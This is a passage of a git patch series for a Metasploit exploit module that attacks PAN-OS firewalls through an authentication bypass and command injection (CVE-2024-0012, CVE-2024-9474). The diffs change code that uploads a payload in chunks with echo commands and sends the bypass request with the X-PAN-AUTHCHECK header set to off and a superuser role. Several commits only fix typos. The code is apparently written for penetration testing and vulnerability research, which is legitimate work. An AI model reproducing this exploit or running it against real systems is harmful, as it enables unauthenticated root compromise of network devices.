the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9, + # we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get + # sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ... + # A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so + # we must recompute the chunk size, to ensure we dont go over the 63 character limit. + chunk_size = 63 - 2 - "echo -n ''>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}".length - max_idx = (bootstrap_payload.length / chunk_size) + 1 + # We display the progress to the user, so track that with a current and max chunk number. + curr_chunk_number = 1 + + max_chunk_number = (bootstrap_payload.length / chunk_size) + 1 while bootstrap_payload && !bootstrap_payload.empty? - print_status("Uploading payload chunk #{idx} of #{max_idx}...") + print_status("Uploading payload chunk #{curr_chunk_number} of #{max_chunk_number}...") chunk = bootstrap_payload[0, chunk_size] bootstrap_payload = bootstrap_payload[chunk_size..] - print_status(chunk.inspect) - execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx}") + execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}") idx += 1 + + if idx > 9 + idx = 1 + idx_prefix += '9' + # Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the + # next chunk must have 1 less character. + chunk_size -= 1 + # If the payload was too big, and we run out of space in the command to write any chunk data, fail. + # This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the + # available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less + # character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which + # would be a max MSF payload size of 5670 characters. Calculated with the command: + # ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz" + fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero? + end + + curr_chunk_number += 1 end print_status('Amalgamating payload chunks...') From 3ed2b5916aafdc484e8aa535459bc7ce5c27caf2 Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Tue, 17 Dec 2024 17:26:00 +0000 Subject: [PATCH 10/14] fix typo Co-authored-by: jheysel-r7 --- .../modules/exploit/linux/http/panos_management_unauth_rce.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md index 28701fca8861..3e0d81c687ec 100644 --- a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md +++ b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md @@ -3,7 +3,7 @@ This module exploits an authentication bypass vulnerability (CVE-2024-0012) and vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can execute arbitrary code with root privileges. -The following version are affected: +The following versions are affected: * PAN-OS 11.2 (up to and including 11.2.4-h1) * PAN-OS 11.1 (up to and including 11.1.5-h1) * PAN-OS 11.0 (up to and including 11.0.6-h1) From 65bb3cc990f3705f6aac5e265f3438bc7f867f20 Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Tue, 17 Dec 2024 17:26:20 +0000 Subject: [PATCH 11/14] typo 2 Co-authored-by: jheysel-r7 --- .../modules/exploit/linux/http/panos_management_unauth_rce.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md index 3e0d81c687ec..29a2bb0bdbc6 100644 --- a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md +++ b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md @@ -36,7 +36,7 @@ and `cmd/unix/reverse_bash`. ### WRITABLE_DIR The full path of a writable directory on the target. By default it will be `/var/tmp`. The exploit will write the -payload as a series if chunks to this location, before executing the payload. The written artifacts are then deleted. +payload as a series of chunks to this location, before executing the payload. The written artifacts are then deleted. ## Scenarios From 51908d6621384544d57d91dafb4fce1136b8390c Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Tue, 17 Dec 2024 17:26:31 +0000 Subject: [PATCH 12/14] typo 3 Co-authored-by: jheysel-r7 --- modules/exploits/linux/http/panos_management_unauth_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb index 478da67fcd15..bdc000c5992f 100644 --- a/modules/exploits/linux/http/panos_management_unauth_rce.rb +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -19,7 +19,7 @@ def initialize(info = {}) vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can execute arbitrary code with root privileges. - The following version are affected: + The following versions are affected: * PAN-OS 11.2 (up to and including 11.2.4-h1) * PAN-OS 11.1 (up to and including 11.1.5-h1) * PAN-OS 11.0 (up to and including 11.0.6-h1) From c25b3ceb030e7961dbdcfe01467cdf9332c67520 Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Tue, 17 Dec 2024 17:26:46 +0000 Subject: [PATCH 13/14] typo 4 Co-authored-by: jheysel-r7 --- modules/exploits/linux/http/panos_management_unauth_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb index bdc000c5992f..a4dbd1a2e371 100644 --- a/modules/exploits/linux/http/panos_management_unauth_rce.rb +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -104,7 +104,7 @@ def check if res.code == 200 && res.body.include?(check_file_name) - # return Unknown if we fail to trigger the vulnerability second time. + # return Unknown if we fail to trigger the vulnerability a second time. return CheckCode::Unknown unless execute_cmd( "rm -f /var/appweb/htdocs/unauth/#{check_file_name}", dontfail: true From edf8d186f77a9106dccde1ab01d4ec5352f62bf6 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Tue, 17 Dec 2024 17:47:00 +0000 Subject: [PATCH 14/14] use the HttpClient cookie jar. Thank you @jheysel-r7 for this improvement. --- .../exploits/linux/http/panos_management_unauth_rce.rb | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb index a4dbd1a2e371..c6b78f2123c6 100644 --- a/modules/exploits/linux/http/panos_management_unauth_rce.rb +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -203,6 +203,7 @@ def execute_cmd(cmd, dontfail: false) 'headers' => { 'X-PAN-AUTHCHECK' => 'off' }, + 'keep_cookies' => true, 'vars_post' => { 'user' => user, 'userRole' => 'superuser', @@ -219,9 +220,7 @@ def execute_cmd(cmd, dontfail: false) fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php') end - php_session_id = res1.body.to_s.match(/PHPSESSID=([a-z0-9]+)@/) - - unless php_session_id + unless cookie_jar.cookies.find { |c| c.name == 'PHPSESSID' } fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned') end @@ -229,9 +228,7 @@ def execute_cmd(cmd, dontfail: false) res2 = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('index.php', '.js.map'), - 'headers' => { - 'Cookie' => "PHPSESSID=#{php_session_id[1]};" - } + 'keep_cookies' => true ) unless res2&.code == 200